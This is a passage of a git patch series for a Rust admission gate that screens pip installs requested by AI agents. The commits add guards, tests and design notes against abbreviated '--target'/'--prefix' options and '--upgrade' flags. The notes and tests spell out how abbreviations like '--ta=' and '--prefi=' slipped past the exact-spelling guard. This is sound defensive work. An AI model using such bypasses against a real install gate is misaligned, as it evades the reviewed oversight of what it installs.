Date: Sat, 12 Sep 2026 05:34:30 +0900 Subject: [PATCH 459/702] fix(admission): block pip target abbreviations --- ...ypi_install_root_abbreviation_authority.rs | 58 +++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs new file mode 100644 index 00000000..ed5d942f --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs @@ -0,0 +1,58 @@ +use crate::InstallIntent; + +/// Return whether direct pip selects an alternate install root through the +/// verified `--target` long-option abbreviation language. +/// +/// Wardnet classifies only explicit caller argv. Effective destination paths, +/// filesystem isolation, mount policy, and cleanup remain quarantine-runtime +/// authority. +pub(crate) fn requests_unapproved_pypi_target_abbreviation(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(1).any(|argument| { + let option = argument.split_once('=').map_or(argument.as_str(), |(name, _)| name); + matches_pip_target_option(option) + }) +} + +/// Pinned pip uses Python optparse abbreviation semantics. `--ta` is the +/// shortest verified unambiguous prefix of `--target`; `--t` is deliberately +/// excluded because it is ambiguous on the reviewed option surface. +fn matches_pip_target_option(option: &str) -> bool { + option.len() >= "--ta".len() && "--target".starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_target_option; + + #[test] + fn target_matcher_is_bounded_to_verified_unambiguous_prefixes() { + for option in ["--ta", "--tar", "--targ", "--targe", "--target"] { + assert!( + matches_pip_target_option(option), + "verified direct-pip target spelling must be classified: {option}" + ); + } + + for option in ["--t", "--targeted", "--timeout", "--prefix", "-t"] { + assert!( + !matches_pip_target_option(option), + "ambiguous, superstring, unrelated, or short-option grammar must stay outside the long-prefix matcher: {option}" + ); + } + } +} From 3d05913abaa13cb537673dca683b30313095b40d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:34:51 +0900 Subject: [PATCH 460/702] fix(admission): wire pip target abbreviation guard --- crates/agent-artifact-admission/src/lib.rs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index f4ed38b3..e3f92c29 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -19,6 +19,7 @@ mod pypi_dependency_group_authority; mod pypi_hash_mode; mod pypi_install_mutation_authority; mod pypi_install_report_authority; +mod pypi_install_root_abbreviation_authority; mod pypi_keyring_provider_authority; mod pypi_log_output_authority; mod pypi_noninteractive_authority; @@ -179,6 +180,16 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_install_root_abbreviation_authority::requests_unapproved_pypi_target_abbreviation(intent) + { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) { if !decision From 16ff1576046f77837576ff9e610a4e82ee683801 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:35:22 +0900 Subject: [PATCH 461/702] docs(admission): trace pip target abbreviation authority --- ...get-install-root-abbreviation-authority.md | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 docs/doctoring/pypi-target-install-root-abbreviation-authority.md diff --git a/docs/doctoring/pypi-target-install-root-abbreviation-authority.md b/docs/doctoring/pypi-target-install-root-abbreviation-authority.md new file mode 100644 index 00000000..104f995e --- /dev/null +++ b/docs/doctoring/pypi-target-install-root-abbreviation-authority.md @@ -0,0 +1,47 @@ +# PyPI target install-root abbreviation authority + +## Decision + +Wardnet Agent Artifact Admission rejects direct `pip` and `pip3 install` intents that select pip's `--target` destination through the pinned parser's verified unambiguous long-option prefix language from `--ta` through canonical `--target`. + +Wardnet classifies only the caller-selected argv authority. It does not create, inspect, mount, validate, clean, or otherwise own the effective destination path. Filesystem, mount, workspace-isolation, cleanup, and recovery remain canonical `quarantine-sandbox-runtime` responsibilities. + +## Problem and threat + +The reviewed artifact receipt binds an approved package coordinate and bounded installer intent. Pip's `--target ` changes where installed package material is written. The existing Wardnet install-root policy already rejects canonical `--target` and short `-t`, but its generic cross-package-manager flag matcher intentionally uses exact option spelling. + +Pinned direct pip uses Python `optparse` long-option abbreviation semantics. On the reviewed parser surface `--ta` uniquely identifies `--target`, while the shorter `--t` prefix is ambiguous and is not claimed. An attached argument such as `--ta=/tmp/wardnet-pip-target` therefore carries real alternate-install-root authority while bypassing the exact-spelling guard. Because the attached token begins with `-`, the positional artifact scan does not independently reject it as an extra artifact operand. + +## Executed hostile RED + +Test-only exact `6c494569e58cb41bab8b2d554def59c5258f278b` was based on canonical Agent Artifact Admission parent `#129@6538faf2d60d64335f910b7770276ad32717aac7`; production policy bytes were unchanged. + +Hosted CI run `34644738040`, rust job `103412682854`, acquired a GitHub-hosted Ubuntu 24.04 runner, completed checkout, toolchain setup, and `cargo fmt --check`, then ran the locked workspace tests. `pypi_target_abbreviation_authority_contract` failed on direct `pip install ... --ta=/tmp/wardnet-pip-target`: Wardnet returned `Allow` where the contract requires `Block`. The exact reviewed direct-pip positive control passed before the hostile selector was added. The contract also retains `--t=...` as a negative precision control so Wardnet does not invent ambiguous pip parser semantics. + +An earlier test-only commit `faa98040b223393c75901fe77c086c1af6bcc6bb` failed only `cargo fmt --check` and is not semantic RED. Formatter-only successor `6c494569e58cb41bab8b2d554def59c5258f278b` is the causal RED authority. + +## Minimum causal repair + +The production repair adds one direct-pip-only classifier for the verified `--target` long-option language. It requires exact `pip` or `pip3`, exact `install`, strips only an attached `=` value for option-name comparison, and matches only option names whose length is at least `--ta` and that are prefixes of canonical `--target`. + +The matcher therefore accepts `--ta`, `--tar`, `--targ`, `--targe`, and `--target`; it excludes ambiguous `--t`, superstrings such as `--targeted`, unrelated `--timeout`, and short-option `-t` grammar already owned by the existing generic install-root guard. A match adds stable `alternate_install_root` evidence and blocks the intent. + +The repair does not execute pip, parse ambient configuration, perform filesystem I/O, resolve paths, or import pip abbreviation semantics into uv or other package managers. + +## Alternatives considered + +Broadening the generic cross-manager flag matcher to accept arbitrary prefixes was rejected because pip's `optparse` grammar is not a universal package-manager contract and would create false authority claims for uv, npm, pnpm, Cargo, and OCI clients. Treating every `--t*` token as target was rejected because the pinned pip option surface makes shorter prefixes ambiguous. Deferring the decision to quarantine cleanup was rejected because the admission receipt would still authorize caller-selected installer destination semantics that were absent from the reviewed intent. + +## Verification and integration contract + +The exact approved direct `pip` and `pip3` installs must remain `Allow`. Attached `--ta=/tmp/wardnet-pip-target` must return `Block` with `alternate_install_root`; ambiguous `--t=/tmp/wardnet-pip-target` must not be reinterpreted as target by this classifier. Existing canonical `--target` / `-t` controls and the separate-value evidence repair from #318 must remain unchanged. + +Every source or doctoring movement invalidates predecessor GREEN evidence. The serialized child requires exact-current Wardnet CI/Fuzz plus fresh review/thread inventory before ordinary expected-head integration into still-exact #129. After integration, canonical #129 must reacquire its own exact-current repository and default-branch security gates before protected-main consideration. Issue #337 remains open until this effective delta reaches protected `main` or a verified complete successor. + +## Traceability + +- Python Packaging Authority. (2026). *pip install command*, commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`. `--target ` installs packages into the supplied directory. +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Unambiguous long-option prefixes are accepted as abbreviations. +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +- MITRE. (2025). *CWE-15: External Control of System or Configuration Setting*. Common Weakness Enumeration. +- Wardnet issue #337 and Draft PR #338 retain the exact parser finding, hostile RED, repair lineage, and integration evidence. From 9f9f67abf4c78473c5a827292115659f5df5e625 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:36:23 +0900 Subject: [PATCH 462/702] style(admission): apply rustfmt to pip target guard --- .../src/pypi_install_root_abbreviation_authority.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs index ed5d942f..4415b25f 100644 --- a/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs @@ -23,7 +23,9 @@ pub(crate) fn requests_unapproved_pypi_target_abbreviation(intent: &InstallInten } arguments.iter().skip(1).any(|argument| { - let option = argument.split_once('=').map_or(argument.as_str(), |(name, _)| name); + let option = argument + .split_once('=') + .map_or(argument.as_str(), |(name, _)| name); matches_pip_target_option(option) }) } From 8bc7638e56c38554a2611d9feb1f5e43fe863c1e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:36:48 +0900 Subject: [PATCH 463/702] style(admission): apply rustfmt to target wiring --- crates/agent-artifact-admission/src/lib.rs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index e3f92c29..1ad8455d 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -180,8 +180,9 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } - if pypi_install_root_abbreviation_authority::requests_unapproved_pypi_target_abbreviation(intent) - { + if pypi_install_root_abbreviation_authority::requests_unapproved_pypi_target_abbreviation( + intent, + ) { if !decision .reason_codes .contains(&ReasonCode::AlternateInstallRoot) From 66d015297ffddcfadd904ac57b164c19233491a4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 06:28:59 +0900 Subject: [PATCH 464/702] test(admission): expose pip prefix abbreviation bypass --- ..._prefix_abbreviation_authority_contract.rs | 100 ++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs new file mode 100644 index 00000000..ae532365 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs @@ -0,0 +1,100 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_direct_pip_install_cannot_select_prefix_through_optparse_abbreviation() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding prefix authority" + ); + + let mut hostile = control_intent.clone(); + hostile + .argv + .push("--prefi=/tmp/wardnet-pip-prefix".to_string()); + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --prefi=... is pip's accepted unambiguous --prefix prefix and must not escape the reviewed install root" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "{executable} --prefi=... must carry stable alternate_install_root evidence; got {:?}", + decision.reason_codes + ); + + let mut ambiguous = control_intent.clone(); + ambiguous + .argv + .push("--pref=/tmp/wardnet-pip-prefix".to_string()); + let ambiguous_decision = admission_decision(&policy, &ambiguous); + assert_eq!( + ambiguous_decision.decision, + DecisionKind::Allow, + "Wardnet must not invent ambiguous pip optparse prefix --pref as --prefix" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.prefix-abbreviation-red".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-prefix-abbreviation-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From d4639c9b77a458b244241ebc78dedb22c13fdd74 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 06:33:29 +0900 Subject: [PATCH 465/702] test(admission): format pip prefix red contract --- .../tests/pypi_prefix_abbreviation_authority_contract.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs index ae532365..f7682e34 100644 --- a/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs @@ -61,8 +61,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From 604fb1ecc92e051727190a898cfc59d337888d7b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 06:38:26 +0900 Subject: [PATCH 466/702] fix(admission): classify pip prefix abbreviations --- ...ypi_install_root_abbreviation_authority.rs | 32 ++++++++++++++++--- 1 file changed, 28 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs index 4415b25f..334d4f54 100644 --- a/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs @@ -1,12 +1,12 @@ use crate::InstallIntent; /// Return whether direct pip selects an alternate install root through the -/// verified `--target` long-option abbreviation language. +/// verified `--target` or `--prefix` long-option abbreviation language. /// /// Wardnet classifies only explicit caller argv. Effective destination paths, /// filesystem isolation, mount policy, and cleanup remain quarantine-runtime /// authority. -pub(crate) fn requests_unapproved_pypi_target_abbreviation(intent: &InstallIntent) -> bool { +pub(crate) fn requests_unapproved_pypi_install_root_abbreviation(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; @@ -26,7 +26,7 @@ pub(crate) fn requests_unapproved_pypi_target_abbreviation(intent: &InstallInten let option = argument .split_once('=') .map_or(argument.as_str(), |(name, _)| name); - matches_pip_target_option(option) + matches_pip_target_option(option) || matches_pip_prefix_option(option) }) } @@ -37,9 +37,16 @@ fn matches_pip_target_option(option: &str) -> bool { option.len() >= "--ta".len() && "--target".starts_with(option) } +/// `--prefi` is the shortest verified unambiguous prefix of `--prefix`. +/// `--pref` stays outside this matcher because the reviewed pip install +/// surface also exposes `--prefer-binary`. +fn matches_pip_prefix_option(option: &str) -> bool { + option.len() >= "--prefi".len() && "--prefix".starts_with(option) +} + #[cfg(test)] mod tests { - use super::matches_pip_target_option; + use super::{matches_pip_prefix_option, matches_pip_target_option}; #[test] fn target_matcher_is_bounded_to_verified_unambiguous_prefixes() { @@ -57,4 +64,21 @@ mod tests { ); } } + + #[test] + fn prefix_matcher_is_bounded_to_verified_unambiguous_prefixes() { + for option in ["--prefi", "--prefix"] { + assert!( + matches_pip_prefix_option(option), + "verified direct-pip prefix spelling must be classified: {option}" + ); + } + + for option in ["--pref", "--prefer-binary", "--prefixes", "-prefix"] { + assert!( + !matches_pip_prefix_option(option), + "ambiguous, unrelated, superstring, or non-long-option grammar must stay outside the prefix matcher: {option}" + ); + } + } } From d9877371980be0b7733e0e60f3b5df582db106eb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 06:38:43 +0900 Subject: [PATCH 467/702] fix(admission): preserve install-root classifier call site --- .../src/pypi_install_root_abbreviation_authority.rs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs index 334d4f54..4169aa31 100644 --- a/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs @@ -30,6 +30,12 @@ pub(crate) fn requests_unapproved_pypi_install_root_abbreviation(intent: &Instal }) } +/// Preserve the existing admission call site while classifying the complete +/// reviewed direct-pip install-root abbreviation surface. +pub(crate) fn requests_unapproved_pypi_target_abbreviation(intent: &InstallIntent) -> bool { + requests_unapproved_pypi_install_root_abbreviation(intent) +} + /// Pinned pip uses Python optparse abbreviation semantics. `--ta` is the /// shortest verified unambiguous prefix of `--target`; `--t` is deliberately /// excluded because it is ambiguous on the reviewed option surface. From 93b3f66b6bdb3e066e7360bb7a24918d75b9abbd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 06:39:03 +0900 Subject: [PATCH 468/702] docs(security): trace pip prefix abbreviation repair --- ...fix-install-root-abbreviation-authority.md | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 docs/doctoring/pypi-prefix-install-root-abbreviation-authority.md diff --git a/docs/doctoring/pypi-prefix-install-root-abbreviation-authority.md b/docs/doctoring/pypi-prefix-install-root-abbreviation-authority.md new file mode 100644 index 00000000..2ad983e6 --- /dev/null +++ b/docs/doctoring/pypi-prefix-install-root-abbreviation-authority.md @@ -0,0 +1,45 @@ +# Direct pip prefix install-root abbreviation authority + +Issue: #339 +Implementation lane: #340 +Canonical parent at RED: `#129@1c5f6217b1e52d3bcb25e29e113981bef4c524c0` + +## Problem and boundary + +Agent Artifact Admission already rejects canonical direct-pip install-root selectors and the verified `--target` long-option abbreviation language. Pinned pip also exposes `--prefix ` and parses long options with Python `optparse` abbreviation semantics. On the reviewed install option surface, `--pref` is ambiguous with `--prefer-binary`, while `--prefi` is the shortest unambiguous prefix selecting `--prefix`. + +Before this repair, an otherwise approved `pip install` or `pip3 install` carrying attached `--prefi=/tmp/wardnet-pip-prefix` remained `Allow`. The token begins with `-`, so positional artifact-cardinality checks did not independently reject the alternate install-root authority. + +Wardnet owns only structured argv admission, stable reason codes, policy evidence, and SOC accountability for this decision. It does not create, resolve, mount, inspect, clean, or otherwise govern the effective destination. Filesystem/workspace/mount isolation and cleanup remain `quarantine-sandbox-runtime` authority. + +## Test-first evidence + +Exact test-only RED head `d4639c9b77a458b244241ebc78dedb22c13fdd74` executed in CI run `34649961884`, job `103429556651`. Checkout, Rust toolchain setup, and `cargo fmt --check` passed. `cargo test --locked --workspace` then failed at `pypi_prefix_abbreviation_authority_contract` because `pip --prefi=...` returned `Allow` where the contract required `Block`. The exact approved baseline remained admissible before the hostile argument was added. + +The earlier head `66d015297ffddcfadd904ac57b164c19233491a4` failed only `cargo fmt --check` and is not semantic RED evidence. + +## Minimum causal repair + +The direct-pip install-root abbreviation classifier is extended only to the pinned parser-supported `--prefix` language from `--prefi` through canonical `--prefix`, while retaining the existing `--target` language. `--pref`, `--prefer-binary`, superstrings, and non-long-option spellings remain outside the prefix matcher. The behavior is not generalized to uv or other package managers. + +The hostile contract exercises both `pip` and `pip3`, requires stable `alternate_install_root` evidence for accepted `--prefi=...`, and preserves the ambiguous `--pref=...` precision control. No pip subprocess or filesystem mutation is executed by the test. + +Exact-head GREEN is intentionally not inferred from source inspection or predecessor runs. The implementation may integrate only after its unchanged exact head completes the repository-required CI/Fuzz and fresh review/thread acceptance. + +## Decision record + +- **Constraint:** preserve the reviewed package coordinate while denying caller-selected install-root authority. +- **Rejected:** treating every `--pref*` token as `--prefix`; this would invent semantics for the ambiguous `--pref` spelling. +- **Rejected:** copying Python `optparse` abbreviation behavior into a generic package-manager parser; that would exceed the pinned direct-pip authority surface. +- **Selected:** a bounded direct-pip matcher for the two verified install-root long-option families. +- **Risk:** upstream pip may change its option surface, changing abbreviation uniqueness. The matcher therefore remains pinned-source evidence and must be reverified when the authoritative pip parser pin changes. + +## TRACEABILITY + +Python Packaging Authority. (2026). *pip install command* (source pin `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). `--prefix ` selects an installation prefix. + +Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14 documentation. Unambiguous long-option prefixes are accepted as abbreviations. + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). PW.8. + +MITRE. (2025). *CWE-15: External Control of System or Configuration Setting*. From d950d393e884e86ad7687f95538e3f8f5734cf54 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 07:32:39 +0900 Subject: [PATCH 469/702] test(admission): expose pip upgrade mutation authority --- .../tests/pypi_upgrade_authority_contract.rs | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs new file mode 100644 index 00000000..ffb4770a --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs @@ -0,0 +1,90 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_inherit_unreviewed_upgrade_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding upgrade authority" + ); + + for upgrade_option in ["-U", "--upgrade"] { + let mut hostile = control_intent.clone(); + hostile.argv.push(upgrade_option.to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {upgrade_option} requests package mutation outside the reviewed artifact authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {upgrade_option} must include the stable artifact_not_approved reason" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-upgrade-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 39f25a6d6e2416ecb0fd106d25b6503a74f2d1ff Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 07:37:55 +0900 Subject: [PATCH 470/702] test(admission): format pip upgrade RED contract --- .../tests/pypi_upgrade_authority_contract.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs index ffb4770a..00f07eab 100644 --- a/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs @@ -51,8 +51,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From c6308e69eb164395709a21ee8b16387068484aa3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 07:42:49 +0900 Subject: [PATCH 471/702] fix(admission): reject pip upgrade mutation authority --- .../src/pypi_install_mutation_authority.rs | 35 +++++++++++++++++-- 1 file changed, 33 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index c7e0b3cb..1116515d 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -24,7 +24,9 @@ fn requests_direct_pip_mutation(arguments: &[String]) -> bool { } arguments.iter().skip(1).any(|argument| { - matches_ignore_installed_option(argument) || matches_force_reinstall_option(argument) + matches_ignore_installed_option(argument) + || matches_force_reinstall_option(argument) + || matches_upgrade_option(argument) }) } @@ -55,6 +57,10 @@ fn matches_force_reinstall_option(argument: &str) -> bool { argument.len() >= "--fo".len() && "--force-reinstall".starts_with(argument) } +fn matches_upgrade_option(argument: &str) -> bool { + matches!(argument, "-U" | "--upgrade") +} + fn matches_uv_reinstall_option(argument: &str) -> bool { matches!( argument, @@ -64,7 +70,32 @@ fn matches_uv_reinstall_option(argument: &str) -> bool { #[cfg(test)] mod tests { - use super::matches_uv_reinstall_option; + use super::{matches_upgrade_option, matches_uv_reinstall_option}; + + #[test] + fn direct_pip_upgrade_matcher_accepts_only_reviewed_mutation_selectors() { + for argument in ["-U", "--upgrade"] { + assert!( + matches_upgrade_option(argument), + "reviewed pip upgrade selector must be classified: {argument}" + ); + } + + for argument in [ + "--upgrade-strategy=eager", + "--upgrade-strategy", + "--up", + "--upgrades", + "-u", + "--no-deps", + "cwl-example==1.2.3", + ] { + assert!( + !matches_upgrade_option(argument), + "distinct or unreviewed argv must not inherit upgrade semantics: {argument}" + ); + } + } #[test] fn uv_reinstall_matcher_accepts_only_documented_mutation_selectors() { From 278f75dd0b9d0f61f188b4e6f86db253918e12cc Mon Sep 17 00:00:00 2001 From: 